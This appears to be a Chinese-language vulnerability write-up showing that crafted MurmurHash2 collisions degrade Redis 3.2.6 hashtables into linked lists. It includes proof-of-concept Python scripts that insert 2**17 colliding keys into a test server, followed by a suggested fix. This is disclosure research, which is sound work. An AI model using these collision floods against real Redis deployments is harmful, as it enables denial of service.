作者:黑池白澤

概要信息:

  1. 在Martin Bosslet 2012年的這篇文章中,作者提到MurmurHash2算法被發現可以穩定構造碰撞函數,該哈希函數及其變形被CRuby, JRuby, Rubinius, Redis等開源組件使用。
  2. 本文是基于Martin Bosslet的發現繼續挖掘的結果,在此對Martin Bosslet表示感謝。
  3. 原文中作者的碰撞函數是基于Ruby完成的,這里將發布該碰撞函數的Python版本。
  4. 在Martin Bosslet的文章中對碰撞函數的構造原理未做足夠透徹的解釋,我將在稍后一段時間將分析構造原理的部分補充。

詳細信息:

  1. Redis使用MurmurHash2算法作為數據結構Hashtable的哈希算法。
  2. 當Hashtable出現碰撞后,Redis選擇將發生碰撞的項用鏈表相連,最新的項插在鏈表首。
  3. Redis將Key和對應的Value以鍵值對的形式儲存在一個Hashtable中。
  4. Redis并未將用戶傳入的Key進行任何編碼就直接使用。
  5. 在2012年MurmurHash2算法被發現可以穩定構造碰撞函數。
  6. 當將大量使用在Murmurhash2算法下產生相互碰撞的字符串作為Key的鍵值對插入Redis后,在訪問這些鍵值對時Hashtable的行為將退化為鏈表。

驗證:

測試平臺: i3-3210,8G Ram, Redis3.2.6,位于虛擬機中(2 cores CPU, 2G Ram)

Redis3.2.6中使用的Murmurhash2函數:

unsigned int mmhash_32(const void *key, int len) {
    /* 'm' and 'r' are mixing constants generated offline.
     They're not really 'magic', they just happen to work well.  */
    const uint32_t m = 0x5bd1e995;
    const int r = 24;

    /* Initialize the hash to a 'random' value */
    uint32_t h = 5381 ^ len;

    /* Mix 4 bytes at a time into the hash */
    const unsigned char *data = (const unsigned char *)key;

    while(len >= 4) {
        uint32_t k = *(uint32_t*)data;

        k *= m;
        k ^= k >> r;
        k *= m;

        h *= m;
        h ^= k;

        data += 4;
        len -= 4;
    }

    /* Handle the last few bytes of the input array  */
    switch(len) {
    case 3: h ^= data[2] << 16;
    case 2: h ^= data[1] << 8;
    case 1: h ^= data[0]; h *= m;
    };

    /* Do a few final mixes of the hash to ensure the last few
     * bytes are well-incorporated. */
    h ^= h >> 13;
    h *= m;
    h ^= h >> 15;

    return (unsigned int)h;
}

poc_collision.py,用于驗證碰撞函數(其中mmhash將Redis3.2.6的dictGenHashFunction封裝以供Python調用,基于mmhash 魔改而來):

# -*- coding:utf-8 -*-

import mmhash
from murmurhash2_collision import collision
from binascii import crc32




c_l = list(collision(5))
hashs = (mmhash.get_hash_32(c) for c in c_l)
crc32ed_collisions = (crc32(c) for c in c_l)
print "crc32ed collision" + "\t" + "MurmurHash2ed collision"
for pair in zip(crc32ed_collisions, hashs):
    print "{0}\t{1}".format(*pair)

輸出結果: 可見確實發生碰撞。

poc_redis.py,用以對比Redis3.2.6對同等數量惡意與非惡意數據的響應:

# -*- coding:utf-8 -*-

import redis
import os
import time
from murmurhash2_collision import collision
BLOCK = 17


connection = redis.Redis(host="192.168.107.102", password="123456")
func_set = connection.set

connection.flushall()
print "Insert 2**{0} normal key-value pairs.".format(BLOCK)
start = time.time()
first_key = os.urandom(8*BLOCK)
func_set(name=first_key, value="")
for i in xrange(0, 2**BLOCK-1):
    func_set(os.urandom(8*BLOCK), value="")
end = time.time()
print "Insertion complete. It takes {1} seconds.".format(BLOCK, end - start)
print "Now get the first inserted key."
start = time.time()
connection.get(first_key)
end = time.time()
print "It takes {0} seconds.".format(end - start)

print "*"*32

print "Now flush all the data."
connection.flushall()
print "Now insert 2**{0} key-value pairs with collisional strings as keys.".format(BLOCK)
c = list(collision(BLOCK))
first_key = c[0]
func_set(name=first_key, value="")
start = time.time()
for ck in c:
    func_set(name=ck, value="")
end = time.time()
print "Insertion complete. It takes {1} seconds.".format(BLOCK, end - start)
print "Now get the first inserted key."
start = time.time()
connection.get(first_key)
end = time.time()
print "It takes {0} seconds.".format(end - start)

插入普通隨機數據時Redis服務器負載與插入惡意數據時服務器負載對比:

輸出結果: 可見在輸入大量惡意數據后Redis的響應速度有了明顯下降(已排除生成碰撞字符串的時間)。

修復方法:

Redis hashtable目前處理碰撞的方法是直接將發生碰撞的項用鏈表相連。建議碰撞發生時使用另一個不同的哈希函數進行rehash(比如time33),若與現有項再次發生碰撞,再使用鏈表將項相連。在我的認知范圍內(也許不完全正確),針對兩個不同的哈希算法穩定構造碰撞是困難的。

未完成工作

  1. 未測試在更高并發下Redis的響應。
  2. 對碰撞函數的構造原理進行深入分析。
  3. 研究其他使用MurmurHash2算法的軟件是否存在同樣的漏洞。

反思與疑問

  1. 現在我還無法準確判斷判斷該漏洞的威脅程度,一方面是受限于手上沒有資源驗證Redis在更高并發下的響應,另一方面該漏洞的觸發必須滿足客戶端的輸入要作為Key并且原封不動地插入Redis。
  2. 這個漏洞的發現源于我閱讀源代碼是對MurmurHash2算法的搜索,在維基百科的參考鏈接中提到了Martin Bosslet的文章,同時文章明確指出Redis在使用該算法。是什么原因使這個(潛在的)DDos漏洞存在這么多年?

Paper 本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/180/